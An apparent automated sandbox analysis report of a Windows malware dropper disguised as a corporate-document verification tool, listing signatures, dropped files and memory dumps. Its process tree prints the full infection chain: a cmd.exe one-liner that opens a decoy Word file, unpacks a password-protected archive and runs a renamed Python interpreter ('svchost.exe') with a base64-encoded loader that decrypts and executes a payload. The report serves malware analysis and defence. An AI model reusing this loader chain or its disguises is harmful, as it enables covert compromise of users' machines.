Analysis

  • max time kernel
    599s
  • max time network
    611s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-ja
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-jalocale:ja-jpos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 11:29

General

  • Target
    Verifica_Documentazione_Aziendale_2026/Verifica_Documentazione_Aziendale_2026.exe
  • Size 1.8MB
  • Sample260910-nl142awshs
  • SHA256 3d46e95284f93bbb76b3b7e1bf0e1b2d51e8a9411c2b6e649112f22f92de63c2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 20 IoCs
  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Verifica_Documentazione_Aziendale_2026\Verifica_Documentazione_Aziendale_2026.exe
    "C:\Users\Admin\AppData\Local\Temp\Verifica_Documentazione_Aziendale_2026\Verifica_Documentazione_Aziendale_2026.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd x && start "" "document.docx" && (mkdir "C:\Users\Public\WindowsUpdate" && "LC_고양이_졸음주의안내문_2016.png" x -p"NYlnJBuDQvsrSbZtC8TWss0xzstzEheXFg1GtZZCIu6aTh5DXqvMprwjVn" "메뚜기_산책중넘어짐기록_2023-04-01.dat" "C:\Users\Public\" -y && cd "C:\Users\Public\WindowsUpdate" && "C:\Users\Public\WindowsUpdate\svchost.exe" -c "exec(__import__('base64').b64decode(b'aW1wb3J0IG9zLHN5cwpvcy5jaGRpcihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKHN5cy5leGVjdXRhYmxlKSkpCnJxamhzdV95aj1ieXRlcy5mcm9taGV4KCI4ODI4YWUzNDNjZTNhOTMyNjhlMTMxMDc1MGM0NzllZjYwOGQ1OGVhZGFkNGQzMjMzZTYyMGMwZDViZTMzNDM0IikKaHh1Zm1lZHlyPW9wZW4oImluc3RydWN0aW9ucy5wZGYiLCJyYiIpLnJlYWQoKQpvaXZ5eF92eF9uXz1ieXRlcyh4em10Znh6Ymt0Zl5ycWpoc3VfeWpbbGF1aWR6X21jaGxxZSVsZW4ocnFqaHN1X3lqKV0gZm9yIGxhdWlkel9tY2hscWUseHptdGZ4emJrdGYgaW4gZW51bWVyYXRlKGh4dWZtZWR5cikpCmV4ZWMob2l2eXhfdnhfbl8uZGVjb2RlKCJ1dGYtOCIpKQo=').decode())")
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3080
      • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Verifica_Documentazione_Aziendale_2026\x\document.docx" /o ""
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:1268
      • C:\Users\Admin\AppData\Local\Temp\Verifica_Documentazione_Aziendale_2026\x\LC_고양이_졸음주의안내문_2016.png
        "LC_고양이_졸음주의안내문_2016.png" x -p"NYlnJBuDQvsrSbZtC8TWss0xzstzEheXFg1GtZZCIu6aTh5DXqvMprwjVn" "메뚜기_산책중넘어짐기록_2023-04-01.dat" "C:\Users\Public\" -y
        3⤵
          PID:4976
        • C:\Users\Public\WindowsUpdate\svchost.exe
          "C:\Users\Public\WindowsUpdate\svchost.exe" -c "exec(__import__('base64').b64decode(b'aW1wb3J0IG9zLHN5cwpvcy5jaGRpcihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKHN5cy5leGVjdXRhYmxlKSkpCnJxamhzdV95aj1ieXRlcy5mcm9taGV4KCI4ODI4YWUzNDNjZTNhOTMyNjhlMTMxMDc1MGM0NzllZjYwOGQ1OGVhZGFkNGQzMjMzZTYyMGMwZDViZTMzNDM0IikKaHh1Zm1lZHlyPW9wZW4oImluc3RydWN0aW9ucy5wZGYiLCJyYiIpLnJlYWQoKQpvaXZ5eF92eF9uXz1ieXRlcyh4em10Znh6Ymt0Zl5ycWpoc3VfeWpbbGF1aWR6X21jaGxxZSVsZW4ocnFqaHN1X3lqKV0gZm9yIGxhdWlkel9tY2hscWUseHptdGZ4emJrdGYgaW4gZW51bWVyYXRlKGh4dWZtZWR5cikpCmV4ZWMob2l2eXhfdnhfbl8uZGVjb2RlKCJ1dGYtOCIpKQo=').decode())"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Registers new Windows logon scripts automatically executed at logon.
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4716
          • C:\Users\Public\WindowsUpdate\svchost.exe
            C:\Users\Public\WindowsUpdate\svchost.exe -c exec(__import__('base64').b64decode(b'aW1wb3J0IG9zLHN5cwpvcy5jaGRpcihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKHN5cy5leGVjdXRhYmxlKSkpCnJxamhzdV95aj1ieXRlcy5mcm9taGV4KCI4ODI4YWUzNDNjZTNhOTMyNjhlMTMxMDc1MGM0NzllZjYwOGQ1OGVhZGFkNGQzMjMzZTYyMGMwZDViZTMzNDM0IikKaHh1Zm1lZHlyPW9wZW4oImluc3RydWN0aW9ucy5wZGYiLCJyYiIpLnJlYWQoKQpvaXZ5eF92eF9uXz1ieXRlcyh4em10Znh6Ymt0Zl5ycWpoc3VfeWpbbGF1aWR6X21jaGxxZSVsZW4ocnFqaHN1X3lqKV0gZm9yIGxhdWlkel9tY2hscWUseHptdGZ4emJrdGYgaW4gZW51bWVyYXRlKGh4dWZtZWR5cikpCmV4ZWMob2l2eXhfdnhfbl8uZGVjb2RlKCJ1dGYtOCIpKQo=').decode()) fwMgsVEkeDZ
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3344
    • C:\Users\Public\WindowsUpdate\svchost.exe
      C:\Users\Public\WindowsUpdate\svchost.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:5892
    • C:\Windows\system32\schtasks.exe
      schtasks /run /tn "MicrosoftEdgeUpdateTaskMachineCore__"
      1⤵
        PID:3828
      • C:\Users\Public\WindowsUpdate\svchost.exe
        "C:\Users\Public\WindowsUpdate\svchost.exe" -c "exec(__import__('base64').b64decode(b'aW1wb3J0IG9zLHN5cwpvcy5jaGRpcihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKHN5cy5leGVjdXRhYmxlKSkpCnJxamhzdV95aj1ieXRlcy5mcm9taGV4KCI4ODI4YWUzNDNjZTNhOTMyNjhlMTMxMDc1MGM0NzllZjYwOGQ1OGVhZGFkNGQzMjMzZTYyMGMwZDViZTMzNDM0IikKaHh1Zm1lZHlyPW9wZW4oImluc3RydWN0aW9ucy5wZGYiLCJyYiIpLnJlYWQoKQpvaXZ5eF92eF9uXz1ieXRlcyh4em10Znh6Ymt0Zl5ycWpoc3VfeWpbbGF1aWR6X21jaGxxZSVsZW4ocnFqaHN1X3lqKV0gZm9yIGxhdWlkel9tY2hscWUseHptdGZ4emJrdGYgaW4gZW51bWVyYXRlKGh4dWZtZWR5cikpCmV4ZWMob2l2eXhfdnhfbl8uZGVjb2RlKCJ1dGYtOCIpKQo=').decode())"
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2580
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k GPSvcGroup
        1⤵
          PID:3408

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              sist02.xsl

              • Path C:\Users\Admin\AppData\Local\Temp\TCDFF8A.tmp\sist02.xsl
              • Size 245KB
              • SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
              • MD5 SHA1 SHA512 SSDEEP TLSH

              fb3b0dbfee58fac8.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
              • Size 2KB
              • SHA256 0b884928ab0793ece83e511b478dc97ef7cb3e0cfccfbc375094d419c4026529
              • MD5 SHA1 SHA512 TLSH

              _asyncio.pyd

              • Path C:\Users\Public\WindowsUpdate\_asyncio.pyd
              • Size 66KB
              • SHA256 7e8b664c9225be6bd55dc5e6ac02341e2675afa0bcfa69c2107c336a12c690fe
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _bz2.pyd

              • Path C:\Users\Public\WindowsUpdate\_bz2.pyd
              • Size 82KB
              • SHA256 4b97cb5452303a4a20f413d329807540e3c38ef3cb06ed5f7ead4b761ec3c218
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _ctypes.pyd

              • Path C:\Users\Public\WindowsUpdate\_ctypes.pyd
              • Size 123KB
              • SHA256 09ab59603da0f270c5807d5af756b7dcbfe795a7cf4cb1210d75e602df61f7fa
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _decimal.pyd

              • Path C:\Users\Public\WindowsUpdate\_decimal.pyd
              • Size 244KB
              • SHA256 c02ddf3b52e8468c747a2e81fcf99021b08a127b479ea265abe463801972e25d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _elementtree.pyd

              • Path C:\Users\Public\WindowsUpdate\_elementtree.pyd
              • Size 121KB
              • SHA256 f14e58bc3197290b8ef34a86e131b07093a40353ba621375188e33964b714ae8
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _hashlib.pyd

              • Path C:\Users\Public\WindowsUpdate\_hashlib.pyd
              • Size 53KB
              • SHA256 51cb8c584eaf434d130d1bb4608d574efc624126b36028a5bd09ff14971f2a90
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _lzma.pyd

              • Path C:\Users\Public\WindowsUpdate\_lzma.pyd
              • Size 145KB
              • SHA256 06cc9d47e9f59895bc79a8181fdabcb639d9f8754b800b37124430ab88b5e4aa
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _multiprocessing.pyd

              • Path C:\Users\Public\WindowsUpdate\_multiprocessing.pyd
              • Size 32KB
              • SHA256 2e872db50dfd54fec540e44dad3162784e59d5603033386172e5f3fc44703bc8
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _overlapped.pyd

              • Path C:\Users\Public\WindowsUpdate\_overlapped.pyd
              • Size 46KB
              • SHA256 5d925ed5143ff81ad976ae05ad17b035f325d2a6951dc05ae6bd393d4dc00452
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _queue.pyd

              • Path C:\Users\Public\WindowsUpdate\_queue.pyd
              • Size 31KB
              • SHA256 2d9674ea8af06d3d1cc288ee52e9a5f570c08ab4d7fb96cc4c2cbf9161a559ea
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _remote_debugging.pyd

              • Path C:\Users\Public\WindowsUpdate\_remote_debugging.pyd
              • Size 68KB
              • SHA256 81d9b2554fd413f4152091c00ffa99361799bce06b70873e3786d21b660f049b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _socket.pyd

              • Path C:\Users\Public\WindowsUpdate\_socket.pyd
              • Size 75KB
              • SHA256 ceec2bc5b703cc047f4e3bfdfeec293f39cec7c09a2fb5b68b984570f985dde9
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _sqlite3.pyd

              • Path C:\Users\Public\WindowsUpdate\_sqlite3.pyd
              • Size 102KB
              • SHA256 c64b6a7c8d98f970492dc3f15a22bd24661347a293403c971a3426ce6d94acbd
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _ssl.pyd

              • Path C:\Users\Public\WindowsUpdate\_ssl.pyd
              • Size 160KB
              • SHA256 d33f4e0978b10e391d7b6ba62b148fe5415f608bf6838d91842d77c6c5c12b34
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _uuid.pyd

              • Path C:\Users\Public\WindowsUpdate\_uuid.pyd
              • Size 25KB
              • SHA256 52eb4ff1f7535819de57e9ef59db955f095d4d2cd528a26ff4b01125b452a43a
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _wmi.pyd

              • Path C:\Users\Public\WindowsUpdate\_wmi.pyd
              • Size 34KB
              • SHA256 70ebce907f72e117f116e73198d4593738e154b2e5897efa73c78e36ef06aa57
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _zoneinfo.pyd

              • Path C:\Users\Public\WindowsUpdate\_zoneinfo.pyd
              • Size 43KB
              • SHA256 bc69ebc060ec1ab83e3655d5339d60549dcb55af1d2f9a229e9febdb576813f0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              _zstd.pyd

              • Path C:\Users\Public\WindowsUpdate\_zstd.pyd
              • Size 406KB
              • SHA256 be1389065b1442b55fb0882552c681af0d1dec044c1e7b5a91298583ce50b09e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              instructions.pdf

              • Path C:\Users\Public\WindowsUpdate\instructions.pdf
              • Size 1.3MB
              • SHA256 ac75648ecffe16fe835953c087de3dbc09471672c47ed7ab19d51fb2f6efb76c
              • MD5 SHA1 SHA512 SSDEEP TLSH

              libcrypto-3.dll

              • Path C:\Users\Public\WindowsUpdate\libcrypto-3.dll
              • Size 3.3MB
              • SHA256 64a65ca297a879839e436269d1f8a257b7411d667c0988a4fbcd56729543d632
              • MD5 SHA1 SHA512 SSDEEP TLSH

              libffi-8.dll

              • Path C:\Users\Public\WindowsUpdate\libffi-8.dll
              • Size 34KB
              • SHA256 b982741576a050860c3f3608c7b269dbd35ab296429192b8afa53f1f190069c0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              libssl-3.dll

              • Path C:\Users\Public\WindowsUpdate\libssl-3.dll
              • Size 624KB
              • SHA256 8dd682b158496623237d0d2acdd24156b791d91cbf0705a013a52137a7b3ae22
              • MD5 SHA1 SHA512 SSDEEP TLSH

              pyexpat.pyd

              • Path C:\Users\Public\WindowsUpdate\pyexpat.pyd
              • Size 188KB
              • SHA256 12a3d3b3b7ba567b1928928d7794ef289a5e624ec24ca3a79e36436d9fe9fdc1
              • MD5 SHA1 SHA512 SSDEEP TLSH

              python.cat

              • Path C:\Users\Public\WindowsUpdate\python.cat
              • Size 580KB
              • SHA256 64880fcba9d49351004e5b6fa2c3772b97326478d3da9fe0ca509a3b587ab41e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              python3.dll

              • Path C:\Users\Public\WindowsUpdate\python3.dll
              • Size 71KB
              • SHA256 3e64f37a59274b8960c1d96b268934ed052eacfc885ce2ca85754c8ea80cf3f8
              • MD5 SHA1 SHA512 SSDEEP TLSH

              python314._pth

              • Path C:\Users\Public\WindowsUpdate\python314._pth
              • Size 80B
              • SHA256 2ed7ccda80e9e28ab5877902a9a325586c8a7b7b3e6731d944565bee082e216c
              • MD5 SHA1 SHA512 TLSH

              python314.dll

              • Path C:\Users\Public\WindowsUpdate\python314.dll
              • Size 5.6MB
              • SHA256 20d2e71df41ceb8a7d6f6c9777b7306deec91b74c2aa350d0ad02ebf5d7008ec
              • MD5 SHA1 SHA512 SSDEEP TLSH

              python314.zip

              • Path C:\Users\Public\WindowsUpdate\python314.zip
              • Size 3.9MB
              • SHA256 ee641e97ca4a0f948308a4991662aa44907d5e92806bf04e1798105e7aa938e3
              • MD5 SHA1 SHA512 SSDEEP TLSH

              select.pyd

              • Path C:\Users\Public\WindowsUpdate\select.pyd
              • Size 29KB
              • SHA256 49d67857f7ea8ed131622bda4c273bac922406c0df0b2326fdc6675a36246d25
              • MD5 SHA1 SHA512 SSDEEP TLSH

              sqlite3.dll

              • Path C:\Users\Public\WindowsUpdate\sqlite3.dll
              • Size 1.2MB
              • SHA256 8463bd44e8bf2bb0a5d1cb34ad483a7347a8eb50382c22f6870719fc4e2193cf
              • MD5 SHA1 SHA512 SSDEEP TLSH

              svchost.exe

              • Path C:\Users\Public\WindowsUpdate\svchost.exe
              • Size 100KB
              • SHA256 8f5dcca6baf511ac49393dff90b4bb666274a7640ef3c79cb28aaeb81b7f4e52
              • MD5 SHA1 SHA512 SSDEEP TLSH

              unicodedata.pyd

              • Path C:\Users\Public\WindowsUpdate\unicodedata.pyd
              • Size 731KB
              • SHA256 e0fea6672a242f435eea866dacd9444526cc85b63d20df02c67bdd5fb388b276
              • MD5 SHA1 SHA512 SSDEEP TLSH

              vcruntime140.dll

              • Path C:\Users\Public\WindowsUpdate\vcruntime140.dll
              • Size 88KB
              • SHA256 bf33857f46e56ea7930c1eea25c5f7175a6aaa3df36bf8301a785e6ca726a0b9
              • MD5 SHA1 SHA512 SSDEEP TLSH

              winsound.pyd

              • Path C:\Users\Public\WindowsUpdate\winsound.pyd
              • Size 29KB
              • SHA256 01489476a5545c76e1ba4f84627626dedaed3c1937ecebd50b00b05a6efaef2c
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/1268-12-0x00007FFB84200000-0x00007FFB84463000-memory.dmp

              memory/1268-2-0x00007FFB44340000-0x00007FFB44350000-memory.dmp

              memory/1268-8-0x00007FFB84200000-0x00007FFB84463000-memory.dmp

              memory/1268-4-0x00007FFB8435F000-0x00007FFB84360000-memory.dmp

              memory/1268-6-0x00007FFB84200000-0x00007FFB84463000-memory.dmp

              memory/1268-7-0x00007FFB44340000-0x00007FFB44350000-memory.dmp

              memory/1268-14-0x00007FFB84200000-0x00007FFB84463000-memory.dmp

              memory/1268-15-0x00007FFB41610000-0x00007FFB41620000-memory.dmp

              memory/1268-11-0x00007FFB84200000-0x00007FFB84463000-memory.dmp

              memory/1268-16-0x00007FFB41610000-0x00007FFB41620000-memory.dmp

              memory/1268-10-0x00007FFB84200000-0x00007FFB84463000-memory.dmp

              memory/1268-0-0x00007FFB44340000-0x00007FFB44350000-memory.dmp

              memory/1268-5-0x00007FFB84200000-0x00007FFB84463000-memory.dmp

              memory/1268-9-0x00007FFB84200000-0x00007FFB84463000-memory.dmp

              memory/1268-1-0x00007FFB44340000-0x00007FFB44350000-memory.dmp

              memory/1268-315-0x00007FFB84200000-0x00007FFB84463000-memory.dmp

              memory/1268-312-0x00007FFB44340000-0x00007FFB44350000-memory.dmp

              memory/1268-314-0x00007FFB44340000-0x00007FFB44350000-memory.dmp

              memory/1268-313-0x00007FFB44340000-0x00007FFB44350000-memory.dmp

              memory/1268-311-0x00007FFB44340000-0x00007FFB44350000-memory.dmp

              memory/1268-159-0x00007FFB84200000-0x00007FFB84463000-memory.dmp

              memory/1268-3-0x00007FFB44340000-0x00007FFB44350000-memory.dmp

              memory/1268-13-0x00007FFB84200000-0x00007FFB84463000-memory.dmp

              memory/3344-160-0x0000000009C70000-0x0000000009CD6000-memory.dmp

              memory/3344-154-0x0000000009BA0000-0x0000000009BE8000-memory.dmp

              memory/3344-153-0x0000000007040000-0x000000000706A000-memory.dmp

              memory/3344-152-0x00000000058C0000-0x00000000058D8000-memory.dmp

              memory/3344-151-0x0000000009890000-0x000000000999E000-memory.dmp

              memory/3344-150-0x0000000004310000-0x0000000004382000-memory.dmp